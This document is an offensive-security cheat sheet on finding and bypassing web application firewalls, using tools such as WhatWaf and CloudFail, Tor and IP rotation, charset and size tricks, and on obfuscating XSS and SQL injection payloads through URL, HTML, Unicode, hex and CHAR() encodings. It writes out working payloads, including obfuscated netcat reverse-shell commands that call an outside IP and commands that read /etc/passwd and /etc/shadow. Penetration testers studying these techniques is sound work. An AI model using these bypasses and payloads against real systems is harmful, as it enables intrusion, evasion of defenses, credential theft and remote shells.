WAFs & Attack Obfuscation

WAFs Tools and Bypass Techniques

Once we identify the real IP behind the website, we should add it to the hosts file and perform the attaks without requests being blocked by the WAF.

- Manually Identification

First perform a malicious query in the URL:

https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>

The WAF may return its own webpage.

Through burp, curl, or the “Network” tab of the browser, we can obtain indications of a firewall like the following:

  • Server header (e.g. Server: cloudflare)

  • Additional HTTP response headers associated with the WAF (e.g. CF-RAY: xxxxxxxxxxx)

  • Cookies that appear to be set by a WAF (e.g. the response headerSet-Cookie: __cfduid=xxxxx)

  • Unique response code upon submitting malicious requests. (e.g. 412)

- Nmap Identification

nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com

- WhatWaf

https://github.com/Ekultek/WhatWaf/tree/master

This can detect and automatically bypass a WAF:

python3 ./whatwaf -u https://example.com

To skip checking for bypasses and just identify the firewall:

python3 ./whatwaf -u https://example.com --skip

To identify the web application firewall and find ways to bypass the specified site using the Tor network as a proxy server, first fire up tor, then:

python3 ./whatwaf -u https://example.com --check-tor

python3 ./whatwaf -u https://example.com --tor

or

python3 ./whatwaf -u https://example.com --proxy=socks5://127.0.0.1:9050

To determine the protection of the web application of the specified site, try to determine the type of web server (-W), and use the specified User Agent for requests:

python3 ./whatwaf -u https://www.example.com -W --pa 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'

To use a random UA:

python3 ./whatwaf -u https://example.com --skip --ra

To set up a sleep time per request:

python3 ./whatwaf -u https://example.com --skip --throttle=3

To execute the command for multiple sites:

python3 ./whatwaf -u https://example.com -l sites.txt

To check the firewall and identify web server with tor, random UA and sleep time:

python3 ./whatwaf -u https://example.com --skip -W --tor --ra --throttle=3

To attempt to bypass the firewall:

python3 ./whatwaf -u https://example.com --tor --ra --throttle=3

- w3af

https://github.com/andresriancho/w3af

- wafw00f

https://github.com/EnableSecurity/wafw00f

Sends commonly-flagged payloads to the given domain name and assess the web server’s response to detect and identify the firewall.

wafw00f example.com

- bypass-firewalls-by-DNS-history

https://github.com/vincentcox/bypass-firewalls-by-DNS-history

This script will search for old DNS A records and check if the server replies for that domain.

./bypass-firewalls-by-DNS-history.sh -d example.com

- CloudFail

https://github.com/m0rtem/CloudFail

Tool which aims to gather information about a target protected by Cloudflare in the hopes of discovering the location of the server.

Tor can be used to mask all requests:

python3 cloudfail.py --target seo.com --tor

- Bypass WAF Burp Addon

https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c

- Chartset Technique

This technique involves modifying the Content-Type header to use a different charset.

IIS 6, 7.5, 8, and 10 allow IBM037 character interpretations.

First create a payload with python:

python3

import urllib.parse

s = '<script>alert("xss")</script>'

urllib.parse.quote_plus(s.encode("IBM037"))

Then, modify the Content-Type header and set ibm500:

Content-Type: application/x-www-form-urlencoded; charset=ibm500

Then, paste the output from python below.

- Content Size Technique

In some cloud-based WAFs, the request won’t be checked if the payload exceeds a certain size. In these scenarios, it is possible to bypass the firewall by increasing the size of the request body or URL.

- Uninitialized Variables Technique

In command execution scenarios we can use uninitialized bash variable in order to elude regular expression based filters and pattern match.

$u equals to ""

Normal:

cat /etc/passwd --> cat$u /etc$u/passwd$u

nc -e /bin/bash 10.10.10.10 1337 --> nc$u -e /bin$u/bash$u 10.10.10.10 1337

/?host=www.example.com;cat+etc/passwd --> /?host=www.example.com";+$u+cat+/etc$u/passwd+\#

Position Based:

/bin/cat /etc/shadow --> $u/bin$u/cat$u $u/etc$u/shadow$u

Random characters:

/bin/cat /etc/passwd --> $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

- Wildcard Obfuscation Technique

We can use wildcards to execute commands in RCE scenarios (To conver an IP to long number avoiding using dots, use https://www.smartconversion.com/ip-address-long-number-converter).

Use ? instead of *, because * is widely used for comment syntax and many WAF blocks it.

/bin/nc 127.0.0.1 1337 --> /???/n? 2130706433 1337

nc -e /bin/bash 127.0.0.1 1337 --> /???/n? -e /???/b??h 2130706433 1337

/bin/cat /etc/passwd --> /???/??t /???/??ss??

- User-Agent Rotation

https://www.scrapehero.com/how-to-fake-and-rotate-user-agents-using-python-3/

List of User-Agent strings of some recent real browsers from WhatIsMyBrowser.com: https://explore.whatismybrowser.com/useragents/explore/

- IP Rotation

In order to use a new IP for every single request, we should use a rotating proxy, which is a proxy server that assigns a new IP address from the proxy pool for every connection.

We can use free proxies: https://free-proxy-list.net/

Or comercial tools that use residencial or phone Ips and rotate them: https://brightdata.com/luminati

Then, to perform the request through the proxy, we could add it in Burp, use proxychains for linux tools, or create a python script: https://www.scrapehero.com/how-to-rotate-proxies-and-ip-addresses-using-python-3/

It could also be used IP Rotate Burp Addon: https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874

- Real Browser Automation

https://github.com/puppeteer/puppeteer

Attack Obfuscation

To take advantage of the standard decoding performed by websites to evade input filters and inject harmful payloads for a variety of attacks, such as XSS and SQL injection, we sould apply obfuscation using encodings.

If you can infer how your input is being decoded based on this context, you can potentially identify alternative ways to represent the same payload. For example, a query parameter is typically URL decoded server-side, while the text content of an HTML element may be HTML decoded client-side.

- URL encoding

Space character can be encoded as %20 or can be represented by a plus (+).

Browsers automatically URL encode any characters that may cause ambiguity for parsers, for example & --> %26, " --> %22, < --> %3C, or > --> %3E.

If a WAF is blocking words, you may be able to smuggle payloads to the back-end application simply by encoding any characters or words that are blacklisted. For example, in a SQL injection attack, you might encode the keywords, so SELECT becomes %53%45%4C%45%43%54 and so on.

- Double URL encoding

For one reason or another, some servers perform two rounds of URL decoding on any URLs they receive. This discrepancy enables an attacker to smuggle malicious input to the back-end by simply encoding it twice.

For example, if we are trying to inject a standard XSS PoC, such as <img src=x onerror=alert(1)>, via a query parameter, the URL might look something like this:

[...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

When checking the request, if a WAF performs the standard URL decoding, it will easily identify this well-known payload,

but if we double-encode the injection, the WAF only decodes this once, it may not be able to identify that the request is dangerous. Here the % characters themselves are then replaced with %25:

[...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

- HTML encoding

In HTML documents, certain characters need to be escaped or encoded to prevent the browser from incorrectly interpreting them as part of the markup. This is achieved by substituting the offending characters with a reference, prefixed with an ampersand and terminated with a semicolon.

For example, If the server-side checks are looking for the alert() payload explicitly, they might not spot this if you HTML encode one or more of the characters:

<img src=x onerror=alert(1)> --> <img src=x onerror="&#x61;lert(1)">

Aditionally, when using decimal or hex-style HTML encoding, you can optionally include an arbitrary number of leading zeros in the code points. Some WAFs and other input filters fail to adequately account for this. This is done by prefixing the code points with a few zeros:

<a href="javascript&#00000000000058;alert(1)">Click me</a>

- XML encoding

XML is closely related to HTML and also supports character encoding using the same numeric escape sequences. This enables you to include special characters in the text content of elements without breaking the syntax.

For example, to bypass a WAFs and other filters, which may block your requests if they detect certain keywords associated with SQL injection attacks:

<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>

- Unicode Escaping

Unicode escape sequences consist of the prefix \u followed by the four-digit hex code for the character.

When parsing strings, most programming languages decode these unicode escapes. This includes the JavaScript engine used by browsers.

Inside a string, you can escape any characters like this. However, outside of a string, escaping some characters will result in a syntax error. This includes opening and closing parentheses, for example.

For example, to exploit DOM XSS:

eval("alert") --> eval("\u0061lert(1)")

ES6-style unicode escapes also allow optional leading zeros:

<a href="javascript\u{0000000003a}alert(1)">Click me</a>

- Hex Escaping

Another option when injecting into a string context is to use hex escapes, which represent characters using their hexadecimal code point, prefixed with \x.

eval("alert") --> eval("\x61lert")

Also we could obfuscate SQL statements in a similar manner using the prefix 0x. For example, 0x53454c454354 may be decoded to form the SELECT keyword.

- Octal Escaping

Octal escaping works in pretty much the same way as hex escaping, except that the character references use a base-8 numbering system rather than base-16.

eval("alert") --> eval("\141lert(1)")

- Multiple Encodings

We can combine encodings to hide your payloads behind multiple layers of obfuscation.

For example, initial payload:

<a href="javascript:alert(1)">Click me</a>

Then we use unicode escaping for the a:

<a href="javascript:\u0061lert(1)">Click me</a>

And then, we HTML encode the backslash:

<a href="javascript:&bsol;u0061lert(1)">Click me</a>

- SQL CHAR() function Obfuscation

In some cases, we may be able to obfuscate your SQL injection attacks using the CHAR() function. This accepts a single decimal or hex code point and returns the matching character. Hex codes must be prefixed with 0x.

SELECT --> CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

Last updated